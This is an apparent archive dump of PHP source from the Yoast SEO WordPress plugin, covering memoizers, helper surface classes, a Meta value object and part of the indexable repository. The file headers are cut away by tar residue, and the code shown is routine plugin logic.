phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log \error_log( \sprintf( /* translators: %1$s expands to Yoast SEO, %2$s expands to the name of the class that could not be found. */ \__( '%1$s attempted to load the class %2$s but it could not be found.', 'wordpress-seo' ), 'Yoast SEO', $loadable_class, ), ); } return false; } $conditionals = $loadable_class::get_conditionals(); foreach ( $conditionals as $class ) { $conditional = $this->get_class( $class ); if ( $conditional === null || ! $conditional->is_met() ) { return false; } } return true; } /** * Gets a class from the container. * * @param string $class_name The class name. * * @return object|null The class or, in production environments, null if it does not exist. * * @throws Throwable If the class does not exist in development environments. */ protected function get_class( $class_name ) { try { return $this->container->get( $class_name ); } catch ( Throwable $e ) { // In production environments do not fatal if the class could not be constructed but log and fail gracefully. if ( \YOAST_ENVIRONMENT === 'production' ) { if ( \defined( 'WP_DEBUG' ) && \WP_DEBUG ) { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log \error_log( $e->getMessage() ); } return null; } throw $e; } } } memoizers/meta-tags-context-memoizer.php000064400000012565152076254300014475 0ustar00blocks = $blocks; $this->current_page = $current_page; $this->repository = $repository; $this->context_prototype = $context_prototype; $this->presentation_memoizer = $presentation_memoizer; } /** * Gets the meta tags context for the current page. * This function is memoized so every call will return the same result. * * @return Meta_Tags_Context The meta tags context. */ public function for_current_page() { if ( ! isset( $this->cache['current_page'] ) ) { // First reset the query to ensure we actually have the current page. global $wp_query, $post; $old_wp_query = $wp_query; $old_post = $post; // phpcs:ignore WordPress.WP.DiscouragedFunctions.wp_reset_query_wp_reset_query -- Reason: The recommended function, wp_reset_postdata, doesn't reset wp_query. \wp_reset_query(); $indexable = $this->repository->for_current_page(); $page_type = $this->current_page->get_page_type(); if ( $page_type === 'Fallback' ) { // Do not cache the context if it's a fallback page. // The likely cause for this is that this function was called before the query was loaded. $context = $this->get( $indexable, $page_type ); // Restore the previous query. // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the query. $GLOBALS['wp_query'] = $old_wp_query; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the post. $GLOBALS['post'] = $old_post; return $context; } $this->cache['current_page'] = $this->get( $indexable, $page_type ); // Restore the previous query. // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the query. $GLOBALS['wp_query'] = $old_wp_query; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the post. $GLOBALS['post'] = $old_post; } return $this->cache['current_page']; } /** * Gets the meta tags context given an indexable. * This function is memoized by the indexable so every call with the same indexable will yield the same result. * * @param Indexable $indexable The indexable. * @param string $page_type The page type. * * @return Meta_Tags_Context The meta tags context. */ public function get( Indexable $indexable, $page_type ) { if ( ! isset( $this->cache[ $indexable->id ] ) ) { $blocks = []; $post = null; if ( $indexable->object_type === 'post' ) { $post = \get_post( $indexable->object_id ); $blocks = $this->blocks->get_all_blocks_from_content( $post->post_content ); } $context = $this->context_prototype->of( [ 'indexable' => $indexable, 'blocks' => $blocks, 'post' => $post, 'page_type' => $page_type, ], ); $context->presentation = $this->presentation_memoizer->get( $indexable, $context, $page_type ); $this->cache[ $indexable->id ] = $context; } return $this->cache[ $indexable->id ]; } /** * Clears the memoization of either a specific indexable or all indexables. * * @param Indexable|int|string|null $indexable Optional. The indexable or indexable id to clear the memoization of. * * @return void */ public function clear( $indexable = null ) { if ( $indexable instanceof Indexable ) { unset( $this->cache[ $indexable->id ] ); $this->presentation_memoizer->clear( $indexable->id ); return; } if ( $indexable !== null ) { unset( $this->cache[ $indexable ] ); $this->presentation_memoizer->clear( $indexable ); return; } $this->cache = []; $this->presentation_memoizer->clear(); } /** * Clears the memoization of the current page. * * @return void */ public function clear_for_current_page() { unset( $this->cache['current_page'] ); } } memoizers/presentation-memoizer.php000064400000004543152076254300013641 0ustar00container = $service_container; } /** * Gets the presentation of an indexable for a specific page type. * This function is memoized by the indexable so every call with the same indexable will yield the same result. * * @param Indexable $indexable The indexable to get a presentation of. * @param Meta_Tags_Context $context The current meta tags context. * @param string $page_type The page type. * * @return Indexable_Presentation The indexable presentation. */ public function get( Indexable $indexable, Meta_Tags_Context $context, $page_type ) { if ( ! isset( $this->cache[ $indexable->id ] ) ) { $presentation = $this->container->get( "Yoast\WP\SEO\Presentations\Indexable_{$page_type}_Presentation", ContainerInterface::NULL_ON_INVALID_REFERENCE ); if ( ! $presentation ) { $presentation = $this->container->get( Indexable_Presentation::class ); } $context->presentation = $presentation->of( [ 'model' => $indexable, 'context' => $context, ], ); $this->cache[ $indexable->id ] = $context->presentation; } return $this->cache[ $indexable->id ]; } /** * Clears the memoization of either a specific indexable or all indexables. * * @param Indexable|int|null $indexable Optional. The indexable or indexable id to clear the memoization of. * * @return void */ public function clear( $indexable = null ) { if ( $indexable instanceof Indexable ) { unset( $this->cache[ $indexable->id ] ); return; } if ( \is_int( $indexable ) ) { unset( $this->cache[ $indexable ] ); return; } if ( $indexable === null ) { $this->cache = []; } } } surfaces/schema-helpers-surface.php000064400000005546152076254310013435 0ustar00container = $container; } /** * Magic getter for getting helper classes. * * @param string $helper The helper to get. * * @return mixed The helper class. */ public function __get( $helper ) { return $this->container->get( $this->get_helper_class( $helper ) ); } /** * Magic isset for ensuring helper exists. * * @param string $helper The helper to get. * * @return bool Whether the helper exists. */ public function __isset( $helper ) { return $this->container->has( $this->get_helper_class( $helper ) ); } /** * Prevents setting dynamic properties and unsetting declared properties * from an inaccessible context. * * @param string $name The property name. * @param mixed $value The property value. * * @return void * * @throws Forbidden_Property_Mutation_Exception Set is never meant to be called. */ public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715. throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name ); } /** * Prevents unsetting dynamic properties and unsetting declared properties * from an inaccessible context. * * @param string $name The property name. * * @return void * * @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called. */ public function __unset( $name ) { throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name ); } /** * Get the class name from a helper slug * * @param string $helper The name of the helper. * * @return string */ protected function get_helper_class( $helper ) { if ( \in_array( $helper, $this->capitalized_helpers, true ) ) { $helper = \strtoupper( $helper ); } $helper = \implode( '_', \array_map( 'ucfirst', \explode( '_', $helper ) ) ); return "Yoast\WP\SEO\Helpers\Schema\\{$helper}_Helper"; } } surfaces/classes-surface.php000064400000001456152076254310012166 0ustar00container = $container; } /** * Returns the instance of a class. Handy for unhooking things. * * @param string $class_name The class to get the instance of. * * @return mixed The instance of the class. */ public function get( $class_name ) { return $this->container->get( $class_name ); } } surfaces/meta-surface.php000064400000024221152076254310011452 0ustar00container = $container; $this->context_memoizer = $context_memoizer; $this->repository = $indexable_repository; $this->wp_rewrite_wrapper = $wp_rewrite_wrapper; $this->indexable_helper = $indexable_helper; } /** * Returns the meta tags context for the current page. * * @return Meta The meta values. */ public function for_current_page() { return $this->build_meta( $this->context_memoizer->for_current_page() ); } /** * Returns the meta tags context for the home page. * * @return Meta|false The meta values. False if none could be found. */ public function for_home_page() { $front_page_id = (int) \get_option( 'page_on_front' ); if ( \get_option( 'show_on_front' ) === 'page' && $front_page_id !== 0 ) { $indexable = $this->repository->find_by_id_and_type( $front_page_id, 'post' ); if ( ! $indexable ) { return false; } return $this->build_meta( $this->context_memoizer->get( $indexable, 'Static_Home_Page' ) ); } $indexable = $this->repository->find_for_home_page(); if ( ! $indexable ) { return false; } return $this->build_meta( $this->context_memoizer->get( $indexable, 'Home_Page' ) ); } /** * Returns the meta tags context for the posts page. * * @return Meta|false The meta values. False if none could be found. */ public function for_posts_page() { $posts_page_id = (int) \get_option( 'page_for_posts' ); if ( $posts_page_id !== 0 ) { $indexable = $this->repository->find_by_id_and_type( $posts_page_id, 'post' ); if ( ! $indexable ) { return false; } return $this->build_meta( $this->context_memoizer->get( $indexable, 'Static_Posts_Page' ) ); } $indexable = $this->repository->find_for_home_page(); if ( ! $indexable ) { return false; } return $this->build_meta( $this->context_memoizer->get( $indexable, 'Home_Page' ) ); } /** * Returns the meta tags context for a post type archive. * * @param string|null $post_type Optional. The post type to get the archive meta for. Defaults to the current post type. * * @return Meta|false The meta values. False if none could be found. */ public function for_post_type_archive( $post_type = null ) { $post_type ??= \get_post_type(); $indexable = $this->repository->find_for_post_type_archive( $post_type ); if ( ! $indexable ) { return false; } return $this->build_meta( $this->context_memoizer->get( $indexable, 'Post_Type_Archive' ) ); } /** * Returns the meta tags context for the search result page. * * @return Meta|false The meta values. False if none could be found. */ public function for_search_result() { $indexable = $this->repository->find_for_system_page( 'search-result' ); if ( ! $indexable ) { return false; } return $this->build_meta( $this->context_memoizer->get( $indexable, 'Search_Result_Page' ) ); } /** * Returns the meta tags context for the search result page. * * @return Meta|false The meta values. False if none could be found. */ public function for_404() { $indexable = $this->repository->find_for_system_page( '404' ); if ( ! $indexable ) { return false; } return $this->build_meta( $this->context_memoizer->get( $indexable, 'Error_Page' ) ); } /** * Returns the meta tags context for a post. * * @param int $id The ID of the post. * * @return Meta|false The meta values. False if none could be found. */ public function for_post( $id ) { $indexable = $this->repository->find_by_id_and_type( $id, 'post' ); if ( ! $indexable ) { return false; } return $this->build_meta( $this->context_memoizer->get( $indexable, 'Post_Type' ) ); } /** * Returns the meta tags context for a number of posts. * * @param int[] $ids The IDs of the posts. * * @return Meta[]|false The meta values. False if none could be found. */ public function for_posts( $ids ) { $indexables = $this->repository->find_by_multiple_ids_and_type( $ids, 'post' ); if ( empty( $indexables ) ) { return false; } // Remove all false values. $indexables = \array_filter( $indexables ); return \array_map( function ( $indexable ) { return $this->build_meta( $this->context_memoizer->get( $indexable, 'Post_Type' ) ); }, $indexables, ); } /** * Returns the meta tags context for a term. * * @param int $id The ID of the term. * * @return Meta|false The meta values. False if none could be found. */ public function for_term( $id ) { $indexable = $this->repository->find_by_id_and_type( $id, 'term' ); if ( ! $indexable ) { return false; } return $this->build_meta( $this->context_memoizer->get( $indexable, 'Term_Archive' ) ); } /** * Returns the meta tags context for an author. * * @param int $id The ID of the author. * * @return Meta|false The meta values. False if none could be found. */ public function for_author( $id ) { $indexable = $this->repository->find_by_id_and_type( $id, 'user' ); if ( ! $indexable ) { return false; } return $this->build_meta( $this->context_memoizer->get( $indexable, 'Author_Archive' ) ); } /** * Returns the meta for an indexable. * * @param Indexable $indexable The indexable. * @param string|null $page_type Optional. The page type if already known. * * @return Meta|false The meta values. False if none could be found. */ public function for_indexable( $indexable, $page_type = null ) { if ( ! \is_a( $indexable, Indexable::class ) ) { return false; } $page_type ??= $this->indexable_helper->get_page_type_for_indexable( $indexable ); return $this->build_meta( $this->context_memoizer->get( $indexable, $page_type ) ); } /** * Returns the meta for an indexable. * * @param Indexable[] $indexables The indexables. * @param string|null $page_type Optional. The page type if already known. * * @return Meta|false The meta values. False if none could be found. */ public function for_indexables( $indexables, $page_type = null ) { $closure = function ( $indexable ) use ( $page_type ) { $this_page_type = $page_type; $this_page_type ??= $this->indexable_helper->get_page_type_for_indexable( $indexable ); return $this->build_meta( $this->context_memoizer->get( $indexable, $this_page_type ) ); }; return \array_map( $closure, $indexables ); } /** * Returns the meta tags context for a url. * * @param string $url The url of the page. Required to be relative to the site url. * * @return Meta|false The meta values. False if none could be found. */ public function for_url( $url ) { $url_parts = \wp_parse_url( $url ); $site_parts = \wp_parse_url( \site_url() ); if ( ( ! \is_array( $url_parts ) || ! \is_array( $site_parts ) ) || ! isset( $url_parts['host'], $url_parts['path'], $site_parts['host'], $site_parts['scheme'] ) ) { return false; } if ( $url_parts['host'] !== $site_parts['host'] ) { return false; } // Ensure the scheme is consistent with values in the DB. $url = $site_parts['scheme'] . '://' . $url_parts['host'] . $url_parts['path']; if ( $this->is_date_archive_url( $url ) ) { $indexable = $this->repository->find_for_date_archive(); } else { $indexable = $this->repository->find_by_permalink( $url ); } // If we still don't have an indexable abort, the WP globals could be anything so we can't use the unknown indexable. if ( ! $indexable ) { return false; } $page_type = $this->indexable_helper->get_page_type_for_indexable( $indexable ); if ( $page_type === false ) { return false; } return $this->build_meta( $this->context_memoizer->get( $indexable, $page_type ) ); } /** * Checks if a given URL is a date archive URL. * * @param string $url The url. * * @return bool */ protected function is_date_archive_url( $url ) { $path = \wp_parse_url( $url, \PHP_URL_PATH ); if ( $path === null ) { return false; } $path = \ltrim( $path, '/' ); $wp_rewrite = $this->wp_rewrite_wrapper->get(); $date_rewrite = $wp_rewrite->generate_rewrite_rules( $wp_rewrite->get_date_permastruct(), \EP_DATE ); $date_rewrite = \apply_filters( 'date_rewrite_rules', $date_rewrite ); foreach ( (array) $date_rewrite as $match => $query ) { if ( \preg_match( "#^$match#", $path ) ) { return true; } } return false; } /** * Creates a new meta value object * * @param Meta_Tags_Context $context The meta tags context. * * @return Meta The meta value */ protected function build_meta( Meta_Tags_Context $context ) { return new Meta( $context, $this->container ); } } surfaces/helpers-surface.php000064400000013100152076254310012160 0ustar00container = $container; $this->open_graph = $open_graph; $this->schema = $schema; $this->twitter = $twitter; } /** * Magic getter for getting helper classes. * * @param string $helper The helper to get. * * @return mixed The helper class. */ public function __get( $helper ) { return $this->container->get( $this->get_helper_class( $helper ) ); } /** * Magic isset for ensuring helper exists. * * @param string $helper The helper to get. * * @return bool Whether the helper exists. */ public function __isset( $helper ) { return $this->container->has( $this->get_helper_class( $helper ) ); } /** * Prevents setting dynamic properties and unsetting declared properties * from an inaccessible context. * * @param string $name The property name. * @param mixed $value The property value. * * @return void * * @throws Forbidden_Property_Mutation_Exception Set is never meant to be called. */ public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715. throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name ); } /** * Prevents unsetting dynamic properties and unsetting declared properties * from an inaccessible context. * * @param string $name The property name. * * @return void * * @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called. */ public function __unset( $name ) { throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name ); } /** * Get the class name from a helper slug * * @param string $helper The name of the helper. * * @return string */ protected function get_helper_class( $helper ) { $helper = \implode( '_', \array_map( 'ucfirst', \explode( '_', $helper ) ) ); return "Yoast\WP\SEO\Helpers\\{$helper}_Helper"; } } surfaces/open-graph-helpers-surface.php000064400000004757152076254310014240 0ustar00container = $container; } /** * Magic getter for getting helper classes. * * @param string $helper The helper to get. * * @return mixed The helper class. */ public function __get( $helper ) { return $this->container->get( $this->get_helper_class( $helper ) ); } /** * Magic isset for ensuring helper exists. * * @param string $helper The helper to get. * * @return bool Whether the helper exists. */ public function __isset( $helper ) { return $this->container->has( $this->get_helper_class( $helper ) ); } /** * Prevents setting dynamic properties and unsetting declared properties * from an inaccessible context. * * @param string $name The property name. * @param mixed $value The property value. * * @return void * * @throws Forbidden_Property_Mutation_Exception Set is never meant to be called. */ public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715. throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name ); } /** * Prevents unsetting dynamic properties and unsetting declared properties * from an inaccessible context. * * @param string $name The property name. * * @return void * * @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called. */ public function __unset( $name ) { throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name ); } /** * Get the class name from a helper slug * * @param string $helper The name of the helper. * * @return string */ protected function get_helper_class( $helper ) { $helper = \implode( '_', \array_map( 'ucfirst', \explode( '_', $helper ) ) ); return "Yoast\WP\SEO\Helpers\Open_Graph\\{$helper}_Helper"; } } surfaces/twitter-helpers-surface.php000064400000004740152076254310013672 0ustar00container = $container; } /** * Magic getter for getting helper classes. * * @param string $helper The helper to get. * * @return mixed The helper class. */ public function __get( $helper ) { return $this->container->get( $this->get_helper_class( $helper ) ); } /** * Magic isset for ensuring helper exists. * * @param string $helper The helper to get. * * @return bool Whether the helper exists. */ public function __isset( $helper ) { return $this->container->has( $this->get_helper_class( $helper ) ); } /** * Prevents setting dynamic properties and unsetting declared properties * from an inaccessible context. * * @param string $name The property name. * @param mixed $value The property value. * * @return void * * @throws Forbidden_Property_Mutation_Exception Set is never meant to be called. */ public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715. throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name ); } /** * Prevents unsetting dynamic properties and unsetting declared properties * from an inaccessible context. * * @param string $name The property name. * * @return void * * @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called. */ public function __unset( $name ) { throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name ); } /** * Get the class name from a helper slug * * @param string $helper The name of the helper. * * @return string */ protected function get_helper_class( $helper ) { $helper = \implode( '_', \array_map( 'ucfirst', \explode( '_', $helper ) ) ); return "Yoast\WP\SEO\Helpers\Twitter\\{$helper}_Helper"; } } surfaces/values/meta.php000064400000027632152076254310011334 0ustar00 Key is the property name. */ private $properties_bin = []; /** * Create a meta value object. * * @param Meta_Tags_Context $context The indexable presentation. * @param ContainerInterface $container The DI container. */ public function __construct( Meta_Tags_Context $context, ContainerInterface $container ) { $this->container = $container; $this->context = $context; $this->helpers = $this->container->get( Helpers_Surface::class ); $this->replace_vars = $this->container->get( WPSEO_Replace_Vars::class ); $this->front_end = $this->container->get( Front_End_Integration::class ); } /** * Returns the output as would be presented in the head. * * @return object The HTML and JSON presentation of the head metadata. */ public function get_head() { $presenters = $this->get_presenters(); /** This filter is documented in src/integrations/front-end-integration.php */ $presentation = \apply_filters( 'wpseo_frontend_presentation', $this->context->presentation, $this->context ); $html_output = ''; $json_head_fields = []; foreach ( $presenters as $presenter ) { $presenter->presentation = $presentation; $presenter->replace_vars = $this->replace_vars; $presenter->helpers = $this->helpers; $html_output .= $this->create_html_presentation( $presenter ); $json_field = $this->create_json_field( $presenter ); // Only use the output of presenters that could successfully present their data. if ( $json_field !== null && ! empty( $json_field->key ) ) { $json_head_fields[ $json_field->key ] = $json_field->value; } } $html_output = \trim( $html_output ); return (object) [ 'html' => $html_output, 'json' => $json_head_fields, ]; } /** * Magic getter for presenting values through the appropriate presenter, if it exists. * * @param string $name The property to get. * * @return mixed The value, as presented by the appropriate presenter. */ public function __get( $name ) { if ( \array_key_exists( $name, $this->properties_bin ) ) { return $this->properties_bin[ $name ]; } /** This filter is documented in src/integrations/front-end-integration.php */ $presentation = \apply_filters( 'wpseo_frontend_presentation', $this->context->presentation, $this->context ); if ( ! isset( $presentation->{$name} ) ) { if ( isset( $this->context->{$name} ) ) { $this->properties_bin[ $name ] = $this->context->{$name}; return $this->properties_bin[ $name ]; } return null; } $presenter_namespace = 'Yoast\WP\SEO\Presenters\\'; $parts = \explode( '_', $name ); if ( $parts[0] === 'twitter' ) { $presenter_namespace .= 'Twitter\\'; $parts = \array_slice( $parts, 1 ); } elseif ( $parts[0] === 'open' && $parts[1] === 'graph' ) { $presenter_namespace .= 'Open_Graph\\'; $parts = \array_slice( $parts, 2 ); } $presenter_class = $presenter_namespace . \implode( '_', \array_map( 'ucfirst', $parts ) ) . '_Presenter'; if ( \class_exists( $presenter_class ) ) { /** * The indexable presenter. * * @var Abstract_Indexable_Presenter $presenter */ $presenter = new $presenter_class(); $presenter->presentation = $presentation; $presenter->helpers = $this->helpers; $presenter->replace_vars = $this->replace_vars; $value = $presenter->get(); } else { $value = $presentation->{$name}; } $this->properties_bin[ $name ] = $value; return $this->properties_bin[ $name ]; } /** * Magic isset for ensuring properties on the presentation are recognised. * * @param string $name The property to get. * * @return bool Whether or not the requested property exists. */ public function __isset( $name ) { if ( \array_key_exists( $name, $this->properties_bin ) ) { return true; } return isset( $this->context->presentation->{$name} ); } /** * Prevents setting dynamic properties and overwriting the value of declared properties * from an inaccessible context. * * @param string $name The property name. * @param mixed $value The property value. * * @return void * * @throws Forbidden_Property_Mutation_Exception Set is never meant to be called. */ public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715. throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name ); } /** * Prevents unsetting dynamic properties and unsetting declared properties * from an inaccessible context. * * @param string $name The property name. * * @return void * * @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called. */ public function __unset( $name ) { throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name ); } /** * Strips all nested dependencies from the debug info. * * @return array */ public function __debugInfo() { return [ 'context' => $this->context ]; } /** * Returns all presenters. * * @return Abstract_Indexable_Presenter[] */ protected function get_presenters() { $presenters = $this->front_end->get_presenters( $this->context->page_type, $this->context ); if ( $this->context->page_type === 'Date_Archive' ) { /** * Define a filter that removes objects of type Rel_Next_Presenter or Rel_Prev_Presenter from a list. * * @param object $presenter The presenter to verify. * * @return bool True if the presenter is not a Rel_Next or Rel_Prev presenter. */ $callback = static function ( $presenter ) { return ! \is_a( $presenter, Rel_Next_Presenter::class ) && ! \is_a( $presenter, Rel_Prev_Presenter::class ); }; $presenters = \array_filter( $presenters, $callback ); } return $presenters; } /** * Uses the presenter to create a line of HTML. * * @param Abstract_Indexable_Presenter $presenter The presenter. * * @return string */ protected function create_html_presentation( $presenter ) { $presenter_output = $presenter->present(); if ( ! empty( $presenter_output ) ) { return $presenter_output . \PHP_EOL; } return ''; } /** * Converts a presenter's key and value to JSON. * * @param Abstract_Indexable_Presenter $presenter The presenter whose key and value are to be converted to JSON. * * @return object|null */ protected function create_json_field( $presenter ) { if ( $presenter->get_key() === 'NO KEY PROVIDED' ) { return null; } $value = $presenter->get(); if ( empty( $value ) ) { return null; } return (object) [ 'key' => $presenter->escape_key(), 'value' => $value, ]; } } repositories/indexable-repository.php000064400000044260152076254310014167 0ustar00builder = $builder; $this->current_page = $current_page; $this->logger = $logger; $this->hierarchy_repository = $hierarchy_repository; $this->wpdb = $wpdb; $this->version_manager = $version_manager; } /** * Starts a query for this repository. * * @return ORM */ public function query() { return Model::of_type( 'Indexable' ); } /** * Attempts to find the indexable for the current WordPress page. Returns false if no indexable could be found. * This may be the result of the indexable not existing or of being unable to determine what type of page the * current page is. * * @return bool|Indexable The indexable. If no indexable is found returns an empty indexable. Returns false if * there is a database error. */ public function for_current_page() { $indexable = false; switch ( true ) { case $this->current_page->is_simple_page(): $indexable = $this->find_by_id_and_type( $this->current_page->get_simple_page_id(), 'post' ); break; case $this->current_page->is_home_static_page(): $indexable = $this->find_by_id_and_type( $this->current_page->get_front_page_id(), 'post' ); break; case $this->current_page->is_home_posts_page(): $indexable = $this->find_for_home_page(); break; case $this->current_page->is_term_archive(): $indexable = $this->find_by_id_and_type( $this->current_page->get_term_id(), 'term' ); break; case $this->current_page->is_date_archive(): $indexable = $this->find_for_date_archive(); break; case $this->current_page->is_search_result(): $indexable = $this->find_for_system_page( 'search-result' ); break; case $this->current_page->is_post_type_archive(): $indexable = $this->find_for_post_type_archive( $this->current_page->get_queried_post_type() ); break; case $this->current_page->is_author_archive(): $indexable = $this->find_by_id_and_type( $this->current_page->get_author_id(), 'user' ); break; case $this->current_page->is_404(): $indexable = $this->find_for_system_page( '404' ); break; } if ( $indexable === false ) { return $this->query()->create( [ 'object_type' => 'unknown', 'post_status' => 'unindexed', 'version' => 1, ], ); } return $indexable; } /** * Retrieves an indexable by its permalink. * * @param string $permalink The indexable permalink. * * @return bool|Indexable The indexable, false if none could be found. */ public function find_by_permalink( $permalink ) { $permalink_hash = \strlen( $permalink ) . ':' . \md5( $permalink ); // Find by both permalink_hash and permalink, permalink_hash is indexed so will be used first by the DB to optimize the query. return $this->query() ->where( 'permalink_hash', $permalink_hash ) ->where( 'permalink', $permalink ) ->find_one(); } /** * Retrieves all the indexable instances of a certain object type. * * @param string $object_type The object type. * * @return Indexable[] The array with all the indexable instances of a certain object type. */ public function find_all_with_type( $object_type ) { /** * The array with all the indexable instances of a certain object type. * * @var Indexable[] $indexables */ $indexables = $this ->query() ->where( 'object_type', $object_type ) ->find_many(); return \array_map( [ $this, 'upgrade_indexable' ], $indexables ); } /** * Retrieves all the indexable instances of a certain object subtype. * * @param string $object_type The object type. * @param string $object_sub_type The object subtype. * * @return Indexable[] The array with all the indexable instances of a certain object subtype. */ public function find_all_with_type_and_sub_type( $object_type, $object_sub_type ) { /** * The array with all the indexable instances of a certain object type and subtype. * * @var Indexable[] $indexables */ $indexables = $this ->query() ->where( 'object_type', $object_type ) ->where( 'object_sub_type', $object_sub_type ) ->find_many(); return \array_map( [ $this, 'upgrade_indexable' ], $indexables ); } /** * Retrieves a paginated set of indexable instances of public indexables. * * @param int $page The page number (1-based). * @param int $page_size The number of items per page. * @param string $post_type The post type indexables to find. * * @return Indexable[] The array with the paginated indexable instances which are public. */ public function find_all_public_paginated( int $page, int $page_size, string $post_type ): array { $offset = ( ( $page - 1 ) * $page_size ); $query = $this->query()->where_raw( '( is_public IS NULL OR is_public = 1 ) AND ( is_robots_noindex IS NULL OR is_robots_noindex = 0 )' ); $query->where( 'object_sub_type', $post_type ); $query->where( 'post_status', 'publish' ); $indexables = $query->order_by_asc( 'id' )->limit( $page_size )->offset( $offset )->find_many(); return \array_map( [ $this, 'upgrade_indexable' ], $indexables ); } /** * Retrieves the homepage indexable. * * @param bool $auto_create Optional. Create the indexable if it does not exist. * * @return bool|Indexable Instance of indexable. */ public function find_for_home_page( $auto_create = true ) { $indexable = \wp_cache_get( 'home-page', 'yoast-seo-indexables' ); if ( ! $indexable ) { /** * Indexable instance. * * @var Indexable $indexable */ $indexable = $this->query()->where( 'object_type', 'home-page' )->find_one(); if ( $auto_create && ! $indexable ) { $indexable = $this->builder->build_for_home_page(); } $indexable = $this->upgrade_indexable( $indexable ); \wp_cache_set( 'home-page', $indexable, 'yoast-seo-indexables', ( 5 * \MINUTE_IN_SECONDS ) ); } return $indexable; } /** * Retrieves the date archive indexable. * * @param bool $auto_create Optional. Create the indexable if it does not exist. * * @return bool|Indexable Instance of indexable. */ public function find_for_date_archive( $auto_create = true ) { /** * Indexable instance. * * @var Indexable $indexable */ $indexable = $this->query()->where( 'object_type', 'date-archive' )->find_one(); if ( $auto_create && ! $indexable ) { $indexable = $this->builder->build_for_date_archive(); } return $this->upgrade_indexable( $indexable ); } /** * Retrieves an indexable for a post type archive. * * @param string $post_type The post type. * @param bool $auto_create Optional. Create the indexable if it does not exist. * * @return bool|Indexable The indexable, false if none could be found. */ public function find_for_post_type_archive( $post_type, $auto_create = true ) { /** * Indexable instance. * * @var Indexable $indexable */ $indexable = $this->query() ->where( 'object_type', 'post-type-archive' ) ->where( 'object_sub_type', $post_type ) ->find_one(); if ( $auto_create && ! $indexable ) { $indexable = $this->builder->build_for_post_type_archive( $post_type ); } return $this->upgrade_indexable( $indexable ); } /** * Retrieves the indexable for a system page. * * @param string $object_sub_type The type of system page. * @param bool $auto_create Optional. Create the indexable if it does not exist. * * @return bool|Indexable Instance of indexable. */ public function find_for_system_page( $object_sub_type, $auto_create = true ) { /** * Indexable instance. * * @var Indexable $indexable */ $indexable = $this->query() ->where( 'object_type', 'system-page' ) ->where( 'object_sub_type', $object_sub_type ) ->find_one(); if ( $auto_create && ! $indexable ) { $indexable = $this->builder->build_for_system_page( $object_sub_type ); } return $this->upgrade_indexable( $indexable ); } /** * Retrieves an indexable by its ID and type. * * @param int $object_id The indexable object ID. * @param string $object_type The indexable object type. * @param bool $auto_create Optional. Create the indexable if it does not exist. * * @return bool|Indexable Instance of indexable. */ public function find_by_id_and_type( $object_id, $object_type, $auto_create = true ) { $indexable = $this->query() ->where( 'object_id', $object_id ) ->where( 'object_type', $object_type ) ->find_one(); if ( $auto_create && ! $indexable ) { $indexable = $this->builder->build_for_id_and_type( $object_id, $object_type ); } else { $indexable = $this->upgrade_indexable( $indexable ); } return $indexable; } /** * Retrieves multiple indexables at once by their id's and type. * * @param int[] $object_ids The array of indexable object id's. * @param string $object_type The indexable object type. * @param bool $auto_create Optional. Create the indexable if it does not exist. * * @return Indexable[] An array of indexables. */ public function find_by_multiple_ids_and_type( $object_ids, $object_type, $auto_create = true ) { if ( empty( $object_ids ) ) { return []; } /** * Represents an array of indexable objects. * * @var Indexable[] $indexables */ $indexables = $this->query() ->where_in( 'object_id', $object_ids ) ->where( 'object_type', $object_type ) ->find_many(); if ( $auto_create ) { $indexables_available = []; foreach ( $indexables as $indexable ) { $indexables_available[] = $indexable->object_id; } $indexables_to_create = \array_diff( $object_ids, $indexables_available ); foreach ( $indexables_to_create as $indexable_to_create ) { $indexables[] = $this->builder->build_for_id_and_type( $indexable_to_create, $object_type ); } } return \array_map( [ $this, 'upgrade_indexable' ], $indexables ); } /** * Finds the indexables by id's. * * @param array $indexable_ids The indexable id's. * * @return Indexable[] The found indexables. */ public function find_by_ids( array $indexable_ids ) { if ( empty( $indexable_ids ) ) { return []; } $indexables = $this ->query() ->where_in( 'id', $indexable_ids ) ->find_many(); return \array_map( [ $this, 'upgrade_indexable' ], $indexables ); } /** * Returns all ancestors of a given indexable. * * @param Indexable $indexable The indexable to find the ancestors of. * * @return Indexable[] All ancestors of the given indexable. */ public function get_ancestors( Indexable $indexable ) { // If we've already set ancestors on the indexable no need to get them again. if ( \is_array( $indexable->ancestors ) && ! empty( $indexable->ancestors ) ) { return \array_map( [ $this, 'upgrade_indexable' ], $indexable->ancestors ); } $indexable_ids = $this->hierarchy_repository->find_ancestors( $indexable ); // If 